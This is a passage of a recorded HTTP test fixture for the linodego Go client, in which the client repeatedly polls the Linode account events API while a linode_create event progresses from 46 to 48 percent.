https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.021214, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.086313, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.140884, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.316662, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.381729, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.44711, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.514944, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.576533, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.638416, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.6985, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 46, "time_remaining": null, "rate": null, "duration": 11.777504, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 47, "time_remaining": null, "rate": null, "duration": 12.433942, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 47, "time_remaining": null, "rate": null, "duration": 12.53175, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 47, "time_remaining": null, "rate": null, "duration": 12.596087, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 47, "time_remaining": null, "rate": null, "duration": 12.793874, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 47, "time_remaining": null, "rate": null, "duration": 12.949378, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.039283, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 13.098, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": 